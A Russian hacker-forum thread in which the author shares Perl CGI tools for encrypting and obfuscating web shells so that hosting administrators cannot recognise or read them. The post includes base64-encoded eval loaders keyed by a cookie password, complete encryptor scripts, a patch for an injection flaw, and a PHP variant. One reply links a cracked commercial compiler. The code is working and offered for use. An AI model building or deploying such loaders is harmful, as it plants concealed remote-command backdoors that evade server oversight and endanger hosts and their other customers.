В правилах хостинга бывает написано чтоб пользователи не размищяли шэлы, не проверенные - не защищённые скрипты, proxy скрипты, а также файлы, которые могут повредить системе. Это значит если я залью шэл, а они его найдут и в лучшем случае они его удалят, а в худшем могут не только распрощаться со своим акаунтом, но неизвестно что ещё. Но если админы не понимают, как работает программа, а также она не похожа ни на один из известных шэлов, зничит им и предъявить нечего. Для этого люди разработали скрипты - языки программирования с открытым кодом, это очень облегчило работу админов. Но ведь интересно, что же на этом сервере. И тут я решил усложнить их работу вплоть до невозможности. К примеру как вы думаете что делает ниже приведённый скрипт. PHP: #!/usr/bin/perl use MIME::Base64;$data=' eqt4m4FpjbKcmWqblItprJp/j6mTc6OrmKOjrZ1zcpuEZm6rm3+PpZV1ZGSajnmkiJlzYo2MnWaD a3ujiomfqY19bJubmXppdqKDa0GbbIKdlIabo5B+pLJ6qp1qd6KMa5mRgWg8 ';eval MIME::Base64::decode(' CigkcGFzcyk9JEVOVnsiSFRUUF9DT09LSUUifT1+L3Bhc3NcPShbXjtdKikvaTskcGw9bGVuZ3Ro KCRwYXNzKTskZGF0YT1NSU1FOjpCYXNlNjQ6OmRlY29kZSgkZGF0YSk7CiRkbD1sZW5ndGgoJGRh dGEpO2lmKCgkcGw+MCkmJigkcGw8JGRsLzIpKXtteSR4ZHRhO2ZvciRuKDAuLiRkbC0xKXsKJHhk dGEuPXBhY2soIkMiLCh1bnBhY2soIkMiLHN1YnN0cigkZGF0YSwkbiwxKSktdW5wYWNrKCJDIixz dWJzdHIoJHBhc3MsJG4lJHBsLDEpKSklMjU1KX0KaWYoJHhkdGEhfi9bXDAuLlwuOi4uQFsuLmB7 Li5ceGZmXSsvKXtldmFsIE1JTUU6OkJhc2U2NDo6ZGVjb2RlKCR4ZHRhKTtleGl0O30KfXByaW50 ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW5cblxuV3JvbmcgcGFzc3dvcmQiO2V4aXQ7 '); ну типа ивалируются закомпресированнозабэйсинные данные, а на самом деле это вот такая програмка PHP: #! /usr/bin/perl print "Content-type: text/plain\n\n"; system('dir'); exit; результат, мы получаем содержимое текущего каталога. На первый взгляд можно сказать остаётся только расшифровать и раздать эти строки как и делает эта программа, допустим они это сделали PHP: #!/usr/bin/perl use MIME::Base64;use Compress::Zlib;$data=' qc4n4KmDL2lH23sB5wGBQm5hhKZA3X+mYV6GBwdZfqOpAUFq6WSGoUA15UFCiFrUqy1kzz/WV2hD tMViPcT1X8fJqWKDbeS88MfCqeHwuTp87tCH50ladC3sdLzwtT9BiZTDneoyTgJYPg== '; ($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;$pl=length($pass);$data=MIME::Base64::decode($data); $dl=length($data);if(($pl>0)&&($pl<$dl/2)){my$xdta;for$n(0..$dl-1){ $xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)} if($xdta!~/[\0..\.:..@[..`{..\xff]+/){eval MIME::Base64::decode($xdta);exit;} }print "Content-Type: text/plain\n\nWrong password";exit; Вот теперь становиться понятно что для полной расшифровки нам потребуется пароль, но дажэ если он это понял, он ведь ничего не может предявить, тат как я просто очень хорошо защитил свою программу, как и было написано в договоре. Им остаётся только надеяться что это безопасная программа так как они не понимают как она работает. Как же этого добиться? Я написал две программы, для зашифровки этим способом и вот они PHP: #!/usr/bin/perl use MIME::Base64;my$file=shift;my$pass=shift; open(IN,"<$file")||die'ErrorOpenning';read(IN,my$data,-s$file);close(IN); $data=MIME::Base64::encode($data);my$pl=length($pass);my$dl=length($data);my$xdta;my$n; for$n(0..$dl-1){$xdta.=pack("C",(unpack("C",substr($data,$n,1))+unpack("C",substr($pass,$n%$pl,1)))%255)} $data=MIME::Base64::encode($xdta);$prog=MIME::Base64::encode(' ($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;$pl=length($pass);$data=MIME::Base64::decode($data); $dl=length($data);if(($pl>0)&&($pl<$dl/2)){my$xdta;for$n(0..$dl-1){ $xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)} if($xdta!~/[\0..\.:..@[..`{..\xff]+/){eval MIME::Base64::decode($xdta);exit;} }print "'."Content-Type: text/plain\\n\\nWrong password\";exit;"); $data="#!/usr/bin/perl\nuse MIME::Base64;\$data='\n$data';eval MIME::Base64::decode('\n$prog');"; open(OUT,">_$file")||die'ErrorSaving';print(OUT$data);close(OUT); PHP: #!/usr/bin/perl use MIME::Base64;use Compress::Zlib;my$file=shift;my$pass=shift; open(IN,"<$file")||die'ErrorOpenning';read(IN,my$data,-s$file);close(IN); $data=compress(MIME::Base64::encode($data));my$pl=length($pass);my$dl=length($data);my$xdta;my$n; for$n(0..$dl-1){$xdta.=pack("C",(unpack("C",substr($data,$n,1))+unpack("C",substr($pass,$n%$pl,1)))%255)} $data=MIME::Base64::encode($xdta);$prog=MIME::Base64::encode(compress(' ($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;$pl=length($pass);$data=MIME::Base64::decode($data); $dl=length($data);if(($pl>0)&&($pl<$dl/2)){my$xdta;for$n(0..$dl-1){ $xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)} $xdta=uncompress($xdta);if($xdta!~/[\0..\.:..@[..`{..\xff]+/){eval MIME::Base64::decode($xdta);exit;} }print "'."Content-Type: text/plain\\n\\nWrong password\";exit;")); $data="#!/usr/bin/perl\nuse MIME::Base64;use Compress::Zlib;\$data='\n$data';eval uncompress(MIME::Base64::decode('\n$prog'));"; open(OUT,">_$file")||die'ErrorSaving';print(OUT$data);close(OUT); Первая не использует gzip сжатие так как это медтеннее и не везде поддержуется, а результатом второй становятся очень маленькие файлы. Первым параметром даётся имя шифруемого файла, а вторым пароль. Как же запустить результат работы этих программ? Нужно каким небудь скриптом добавить в Куки в переменную pass тот пароль, который довали при зашифровке, например таким PHP: #!/usr/bin/perl print "Set-Cookie: pass=1234567890\nContent-Type: text/plain\n\n"; Ну, или придумать свою собственную авторизацию. Учитуя, что форум вставляет пробелы, а их найти в этом страшном тексте очень сложно, я забэйсил оби, держите. Code: IyEvdXNyL2Jpbi9wZXJsIAp1c2UgTUlNRTo6QmFzZTY0O215JGZpbGU9c2hpZnQ7bXkkcGFzcz1z aGlmdDsKb3BlbihJTiwiPCRmaWxlIil8fGRpZSdFcnJvck9wZW5uaW5nJztyZWFkKElOLG15JGRh dGEsLXMkZmlsZSk7Y2xvc2UoSU4pOwokZGF0YT1NSU1FOjpCYXNlNjQ6OmVuY29kZSgkZGF0YSk7 bXkkcGw9bGVuZ3RoKCRwYXNzKTtteSRkbD1sZW5ndGgoJGRhdGEpO215JHhkdGE7bXkkbjsKZm9y JG4oMC4uJGRsLTEpeyR4ZHRhLj1wYWNrKCJDIiwodW5wYWNrKCJDIixzdWJzdHIoJGRhdGEsJG4s MSkpK3VucGFjaygiQyIsc3Vic3RyKCRwYXNzLCRuJSRwbCwxKSkpJTI1NSl9CiRkYXRhPU1JTUU6 OkJhc2U2NDo6ZW5jb2RlKCR4ZHRhKTskcHJvZz1NSU1FOjpCYXNlNjQ6OmVuY29kZSgnCigkcGFz cyk9JEVOVnsiSFRUUF9DT09LSUUifT1+L3Bhc3NcPShbXjtdKikvaTskcGw9bGVuZ3RoKCRwYXNz KTskZGF0YT1NSU1FOjpCYXNlNjQ6OmRlY29kZSgkZGF0YSk7CiRkbD1sZW5ndGgoJGRhdGEpO2lm KCgkcGw+MCkmJigkcGw8JGRsLzIpKXtteSR4ZHRhO2ZvciRuKDAuLiRkbC0xKXsKJHhkdGEuPXBh Y2soIkMiLCh1bnBhY2soIkMiLHN1YnN0cigkZGF0YSwkbiwxKSktdW5wYWNrKCJDIixzdWJzdHIo JHBhc3MsJG4lJHBsLDEpKSklMjU1KX0KaWYoJHhkdGEhfi9bXDAuLlwuOi4uQFsuLmB7Li5ceGZm XSsvKXtldmFsIE1JTUU6OkJhc2U2NDo6ZGVjb2RlKCR4ZHRhKTtleGl0O30KfXByaW50ICInLiJD b250ZW50LVR5cGU6IHRleHQvcGxhaW5cXG5cXG5Xcm9uZyBwYXNzd29yZFwiO2V4aXQ7Iik7CiRk YXRhPSIjIS91c3IvYmluL3BlcmxcbnVzZSBNSU1FOjpCYXNlNjQ7XCRkYXRhPSdcbiRkYXRhJztl dmFsIE1JTUU6OkJhc2U2NDo6ZGVjb2RlKCdcbiRwcm9nJyk7IjsKb3BlbihPVVQsIj5fJGZpbGUi KXx8ZGllJ0Vycm9yU2F2aW5nJztwcmludChPVVQkZGF0YSk7Y2xvc2UoT1VUKTs= Code: IyEvdXNyL2Jpbi9wZXJsIAp1c2UgTUlNRTo6QmFzZTY0O3VzZSBDb21wcmVzczo6WmxpYjtteSRm aWxlPXNoaWZ0O215JHBhc3M9c2hpZnQ7Cm9wZW4oSU4sIjwkZmlsZSIpfHxkaWUnRXJyb3JPcGVu bmluZyc7cmVhZChJTixteSRkYXRhLC1zJGZpbGUpO2Nsb3NlKElOKTsKJGRhdGE9Y29tcHJlc3Mo TUlNRTo6QmFzZTY0OjplbmNvZGUoJGRhdGEpKTtteSRwbD1sZW5ndGgoJHBhc3MpO215JGRsPWxl bmd0aCgkZGF0YSk7bXkkeGR0YTtteSRuOwpmb3IkbigwLi4kZGwtMSl7JHhkdGEuPXBhY2soIkMi LCh1bnBhY2soIkMiLHN1YnN0cigkZGF0YSwkbiwxKSkrdW5wYWNrKCJDIixzdWJzdHIoJHBhc3Ms JG4lJHBsLDEpKSklMjU1KX0KJGRhdGE9TUlNRTo6QmFzZTY0OjplbmNvZGUoJHhkdGEpOyRwcm9n PU1JTUU6OkJhc2U2NDo6ZW5jb2RlKGNvbXByZXNzKCcKKCRwYXNzKT0kRU5WeyJIVFRQX0NPT0tJ RSJ9PX4vcGFzc1w9KFteO10qKS9pOyRwbD1sZW5ndGgoJHBhc3MpOyRkYXRhPU1JTUU6OkJhc2U2 NDo6ZGVjb2RlKCRkYXRhKTsKJGRsPWxlbmd0aCgkZGF0YSk7aWYoKCRwbD4wKSYmKCRwbDwkZGwv Mikpe215JHhkdGE7Zm9yJG4oMC4uJGRsLTEpewokeGR0YS49cGFjaygiQyIsKHVucGFjaygiQyIs c3Vic3RyKCRkYXRhLCRuLDEpKS11bnBhY2soIkMiLHN1YnN0cigkcGFzcywkbiUkcGwsMSkpKSUy NTUpfQokeGR0YT11bmNvbXByZXNzKCR4ZHRhKTtpZigkeGR0YSF+L1tcMC4uXC46Li5AWy4uYHsu Llx4ZmZdKy8pe2V2YWwgTUlNRTo6QmFzZTY0OjpkZWNvZGUoJHhkdGEpO2V4aXQ7fQp9cHJpbnQg IicuIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxcblxcbldyb25nIHBhc3N3b3JkXCI7ZXhpdDsi KSk7CiRkYXRhPSIjIS91c3IvYmluL3BlcmxcbnVzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNz OjpabGliO1wkZGF0YT0nXG4kZGF0YSc7ZXZhbCB1bmNvbXByZXNzKE1JTUU6OkJhc2U2NDo6ZGVj b2RlKCdcbiRwcm9nJykpOyI7Cm9wZW4oT1VULCI+XyRmaWxlIil8fGRpZSdFcnJvclNhdmluZyc7 cHJpbnQoT1VUJGRhdGEpO2Nsb3NlKE9VVCk7 Так что теперь просто удалите все пробелы и декодируйте бэйс. Да кстати эта программа не является только лишь инструментом хакеров, ей можно пользоваться просто для защиты своих собственных программ. Удачи в использовании. Я писал сталью и приведённые выше программы самостоятельно, не пользуясь сторонней помощью, и все права на них принадлежат только мне, но при этом я не несу никакой ответственности за их использование. Оценивайте, критикуйте, задавайте вопросы, находите багги, буду рад ответить. hidden специально для AntiChat
Молодец ) только один вопросик.. чем плоха обычная компиляция перль скриптов? В стандартную поставку Перл входят модули B::xxxxx с помощю которых легко делаються бинарики (и не только) вот таким методом(для никсов): shell> perlcc -b myprogram.pl - делает исполняемый myprogram; или shell> perl -MO=Bytecode myprogram.pl - делает тоже самое. Проблемка лишь в том, что как написано в доках на модуль: "Current status: experimental". У меня почти все работало(даже подключались мои модули) , вот только хотя бы такая вещь как DBI просто не скомпилировалась(!!!). Ради новой версии этого модуля я скачал perl-5.8.0, и поставил под мою старушку Фрю(она у меня как полигон для испытаний тяжелой артиллерии), но по каким-то причинам именно этот модуль отказался работать. Теперь буду ставить FreeBSD 4.6(была 4.3), посмотрим что из этого получиться. ЗЫ Если честно yе читал никогда правила хостеров )))
Знаешь, я никогда не слышел про это, сейчас попробовал полугился бинарник, но я не знаю чем его запускать под винду. Может этот метод и не плох, но в моём ещё и сжатие есть, а ещё бинарники на cgi серверах тоже запрещают заливать.
hidden сигвином запускай ) либо если нужен экзэшник то юзай прогу perl2exe.. лови версию 8.7 + лекарство от жадности ) (она 150 баксов стоит, как узнал - упал ))) _http://thw.ladyk-webdesign.de/perl2exe.rar
Не программа а сплошной прикол, тот пример, что я приводил, с командой dir вышел на 386кб, на делфи с формой меньше занимает, 150 баксов. Я вобще на фасме пишу чтоб меньше занимало и быстрее работоло, а это даже с дельфями не сравница. А ещё я этим всем левым компилерам не доверяю, кто знает что они туда закомпилият, на сотни килобайт, может инфу о моём компе, а в перле и в фасме, я каждый байт понимаю, аж спокойнее.
2hidden _http://www.indigostar.com/ordperl.htm пали цены если я прикалываюсь )) вообще в принципе работает нормально.. скрипты откомпиленые им отлично работают.. но в принципе твое дело )
А чё гон, про "не проверенные - не защищённые скрипты" так и написано, а также приводится список типов файлов, которые запрещены, даже для закачки.
Не, тогда типа получается, что я ставлю форум, да любой, но на него есть приватная либо паблик бага. Он проверенный, защищённый? И вобще какого хрена я должен что-либо проверять перед тем как залить. Я деньги плачу хостёру => следовательно это просто типа мой диск. Купленый. Собственный. Если админы не в состоянии настроить сервер - это их проблемы. Nerezus правильно говорит. Нормальнм хостёрам даже в голову такое не придёт В натуре школьнеги.
Где же возьмёш такой хостинг, чтоб не ограничений ни правил, небыло. Тогда бы его постоянно пытались сломать, а им этого не надо.
Уже взял. Все работает стабильно. а мне насрать, что им надо, а что не надо!!! Хостинг хостит не себя, а клиентов!
Уязвимость устранена! Ввжно:Как неприятно это признавать, но я нашёл в своём коде, оди недочёт, который в случае известности зашифрованных даныых, мог привести к иньекции и выполнению произвольного кода, на стороне сервера. Иньекция могла произойти, при логическом наложении новой зашифрованной программы, на существующею, методом xor, и передача результата, в поле пароля. Но учитывая, главное требование, известность кода, счилаю уязвимость, незначительной. Статью я исправил. Способ устранения: ограничение длины пароля, половиной длины дашифрованных данных. Старый фрагмент: PHP: ($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;if(length($pass)>0){ $data=MIME::Base64::decode($data);$dl=length($data);$pl=length($pass);my$xdta; for$n(0..$dl-1){$xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)} Новый фрагмент: PHP: ($pass)=$ENV{"HTTP_COOKIE"}=~/pass\=([^;]*)/i;$pl=length($pass);$data=MIME::Base64::decode($data); $dl=length($data);if(($pl>0)&&($pl<$dl/2)){my$xdta;for$n(0..$dl-1){ $xdta.=pack("C",(unpack("C",substr($data,$n,1))-unpack("C",substr($pass,$n%$pl,1)))%255)} P.S. Так что, можно сказать, сервиспак. P.P.S. Кстати, может где небудь, используется подобный скрипт.
Гы Все можно сделать гооораздо проще и эффективнее Вот пример на php PHP: <? $pass=intval($_REQUEST['pass']); $some_code='';//encoded code to eval //encode if(isset($_REQUEST['code'])){ $some_code=bin2hex($_REQUEST['code']); $code=''; for($i=0;$i<=strlen($some_code)-4;$i+=4) { $code.=dechex(hexdec(substr($some_code, $i ,4))-$pass); } echo($code); die; } //decode and eval $code=''; for($i=0;$i<=strlen($some_code)-4;$i+=4) { $code.=dechex(hexdec(substr($some_code, $i, 4))+$pass); } function hex2ascii($str) { $p = ''; for ($i=0; $i < strlen($str); $i=$i+2) { $p .= chr(hexdec(substr($str, $i, 2))); } return $p; } eval(hex2ascii($code)); ?> Четырехзначный цифровой пароль и никакие админы не доберутся до вашего кода
С чего ты взял, что hex2dec(bin2hex()) эффективнее ord'a? Каждая из них, больше чем в четыре раза медленee. ФСБ доберёться